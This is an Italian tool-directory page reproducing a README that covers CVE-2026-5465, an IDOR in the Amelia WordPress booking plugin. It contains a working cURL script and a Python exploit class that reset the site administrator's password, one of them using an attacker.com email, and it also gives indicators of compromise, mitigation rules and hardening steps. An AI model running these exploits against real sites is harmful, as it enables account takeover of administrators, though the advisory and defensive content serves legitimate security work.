Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/kaleth4/cve-2026-5465
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingConfigurazione Errata
GitHubkaleth4/cve-2026-5465

CVE-2026-5465

# Exploit e analisi per CVE-2026-5465, un IDOR nel plugin WordPress Amelia che consente al ruolo Provider autenticato di aumentare i privilegi e ottenere il takeover dell'account tramite un riferimento diretto insicuro a un oggetto.

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-5465: Escalata dei Privilegi nel Plugin Amelia WordPress

⚠️ Riepilogo Esecutivo

Vulnerabilità critica di Riferimento Diretto Non Sicuro a Oggetti (IDOR) nel plugin Amelia che consente a un utente autenticato con ruolo di Dipendente (Provider) di scalare i privilegi fino alla completa compromissione dell'account (Account Takeover) del sito WordPress, incluso l'accesso amministrativo.


📋 Dati della Vulnerabilità

AttributoValore
CVE IDCVE-2026-5465
SoftwareAmelia – Appointment Booking Calendar
Versioni Affette≤ 2.1.3
Versione Corretta≥ 2.2.0
TipoInsecure Direct Object References (IDOR) / Broken Access Control
VettoreRete (Autenticato)
ComplessitàBassa
ImpattoCritico (Account Takeover)
CVSS v3.18.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639 (Authorization Bypass)

🔍 Analisi Tecnica

Meccanismo di Sfruttamento

Il difetto risiede nella classe UpdateProviderCommandHandler che elabora gli aggiornamenti del profilo del fornitore.

Flusso vulnerabile:

root@kitploit:~
1. Utente autenticato come "Provider" (Dipendente)
   ↓
2. Invia richiesta POST all'endpoint di aggiornamento
   {
     "externalId": 1,  // ID dell'admin (non dell'attaccante)
     "firstName": "Admin Piratato",
     "email": "[email protected]",
     "password": "nuova_password"
   }
   ↓
3. Il sistema NON verifica se 'externalId' appartiene all'utente corrente
   ↓
4. Utilizza wp_set_password(externalId, new_password)
   ↓
5. Password dell'admin modificata → Account Takeover

Causa Radice

Assenza di validazione della proprietà (Ownership Check) prima di elaborare dati sensibili:

root@kitploit:~
// CODICE VULNERABILE (Semplificato)
public function updateProvider($providerId, $data) {
    // ❌ NON verifica se providerId == utente_corrente
    $provider = Provider::find($providerId);
    
    // Esegue direttamente senza validazione
    wp_set_password($data['password'], $provider->wp_user_id);
}

// CODICE CORRETTO
public function updateProvider($providerId, $data) {
    // ✅ Verifica la proprietà
    if ($providerId !== current_user_id()) {
        throw new UnauthorizedException();
    }
    wp_set_password($data['password'], $provider->wp_user_id);
}

Parametri Sfruttabili


💣 Proof of Concept

Requisiti

  • Account utente con ruolo "Provider" (Dipendente)
  • Accesso autenticato al sito
  • URL del sito WordPress

Sfruttamento Manuale (cURL)

root@kitploit:~
#!/bin/bash

TARGET="https://esempio.com"
PROVIDER_TOKEN="token_autenticato_del_provider"
ADMIN_ID=1

# Ottenere il NONCE di sicurezza (se esiste)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)

# Eseguire l'aggiornamento dannoso
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
  -H "Authorization: Bearer $PROVIDER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "externalId": 1,
    "password": "Compromised123!",
    "email": "[email protected]"
  }'

echo "[+] Se la risposta è 200, l'admin è stato compromesso"

Sfruttamento Automatizzato (Python)

root@kitploit:~
import requests
import json

class AmeliaExploit:
    def __init__(self, target_url, provider_token):
        self.target = target_url.rstrip('/')
        self.headers = {
            'Authorization': f'Bearer {provider_token}',
            'Content-Type': 'application/json'
        }
    
    def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
        """Sfrutta IDOR per cambiare la password dell'admin"""
        
        endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
        
        payload = {
            "externalId": target_user_id,
            "password": new_password,
            "email": f"pwned_{target_user_id}@attacker.com"
        }
        
        try:
            response = requests.post(
                endpoint,
                headers=self.headers,
                json=payload,
                timeout=10
            )
            
            if response.status_code == 200:
                print(f"[✓] SFRUTTATO: Utente {target_user_id} compromesso")
                print(f"[*] Nuova password: {new_password}")
                return True
            else:
                print(f"[✗] Fallimento: {response.status_code} - {response.text}")
                return False
                
        except Exception as e:
            print(f"[!] Errore di connessione: {e}")
            return False

# Utilizzo
if __name__ == "__main__":
    exploit = AmeliaExploit(
        target_url="https://esempio.com",
        provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
    )
    exploit.exploit_account_takeover(target_user_id=1)

🛡️ Indicatori di Compromissione (IoC)

Log da Esaminare

WordPress Audit Log (se installato):

root@kitploit:~
Utente: [Provider ID]
Azione: User Password Changed
Utente Coinvolto: Administrator
Timestamp: [Ora sospetta]

Log del Server (Apache/Nginx):

root@kitploit:~
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [alta]
→ Risposta 200 OK

Database WordPress:

root@kitploit:~
-- Modifiche di password non autorizzate
SELECT ID, user_login, user_registered, user_pass 
FROM wp_users 
WHERE ID = 1 
ORDER BY ID DESC LIMIT 1;

-- Modifiche di email sospette
SELECT user_email, user_login, user_registered 
FROM wp_users 
WHERE user_login = 'administrator' 
ORDER BY ID DESC;

Segnali di Allarme

  • ✗ Modifiche della password dell'admin senza richiesta del proprietario
  • ✗ Molteplici tentativi POST a /wp-json/amelia/v1/providers/
  • ✗ Accessi amministrativi da IP nuovi/insoliti
  • ✗ Creazione di nuovi utenti con ruolo Administrator
  • ✗ Modifiche alla configurazione dei plugin dal ruolo Provider
  • ✗ Log di accesso eliminati o troncati

🔧 Mitigazione Immediata

1. Aggiornare il Plugin (Opzione Preferita)

root@kitploit:~
# Tramite Pannello Admin WordPress
1. Andare su: Plugin > Plugin Installati
2. Cercare: "Amelia"
3. Cliccare: "Aggiorna ora"
4. Versione minima sicura: 2.2.0+

# Tramite WP-CLI
wp plugin update amelia --allow-root

2. Disattivare Temporaneamente il Plugin

root@kitploit:~
# Tramite WP-CLI
wp plugin deactivate amelia --allow-root

# Tramite FTP/SFTP
Rinominare: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/

3. Restrizione a Livello di Server

Nginx (nginx.conf):

root@kitploit:~
location ~ /wp-json/amelia/v1/providers/ {
    # Consentire solo GET
    if ($request_method = POST) {
        return 403;
    }
}

Apache (.htaccess):

root@kitploit:~
<FilesMatch "amelia.*providers">
    <LimitExcept GET HEAD>
        Require all denied
    </LimitExcept>
</FilesMatch>

📋 Passaggi Post-Compromissione

Se il sito è già stato sfruttato:

1. Cambiare le Password (Immediato)

root@kitploit:~
-- Cambiare la password dell'admin tramite CLI
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass

2. Verificare Utenti e Modifiche

root@kitploit:~
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;

3. Controllare le Sessioni Attive

root@kitploit:~
# Installare e controllare il plugin: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root

4. Rigenerare le Chiavi di Sicurezza

root@kitploit:~
// In wp-config.php, rigenerare:
define('AUTH_KEY',         'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY',  'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY',    'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY',        'PUT_YOUR_UNIQUE_PHRASE_HERE');

🔐 Hardening a Lungo Termine

1. Implementare un WAF (Web Application Firewall)

root@kitploit:~
Regola Cloudflare WAF:
- Bloccare: POST a /wp-json/amelia/v1/providers/[0-9]+ da IP non in whitelist

2. Monitoraggio Continuo

root@kitploit:~
# Installare plugin di audit
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root

3. Gestione di Ruoli e Permessi

root@kitploit:~
// Limitare le capacità del Provider
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');

4. Rate Limiting sugli Endpoint

root@kitploit:~
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;

location ~ /wp-json/amelia/v1/ {
    limit_req zone=amelia_zone burst=20 nodelay;
}

📊 Timeline di Scoperta

DataEvento
2026-01-15Vulnerabilità segnalata al Team Amelia

📞 Contatti di Supporto

  • Amelia Official: https://ameliabooking.com
  • Wordfence Threat Intelligence: https://wordfence.com
  • WordPress Security: https://wordpress.org/plugins/wordfence/
  • CERT Coordination Center: https://www.cert.org

📚 Riferimenti

  • OWASP: Broken Access Control
  • CWE-639: Authorization Bypass
  • NIST: Privilege Escalation
  • Amelia Security Advisories

Classificazione: 🔴 CRITICO - Richiede azione immediata
Ultimo aggiornamento: Aprile 2026
Autore: Team di Sicurezza

Scarica lo strumento
ParametroTipoImpatto
externalIdIntegerCambio di identità (IDOR core)
passwordStringModifica della password
emailEmailFurto di sessione se reimpostata
firstName, lastNameStringAlterazione dati non critica
2026-02-01
Patch disponibile (v2.2.0)
2026-02-10Pubblicazione responsabile del CVE
2026-02-11Exploit in circolazione
OGGIRaccomandazione di aggiornamento urgente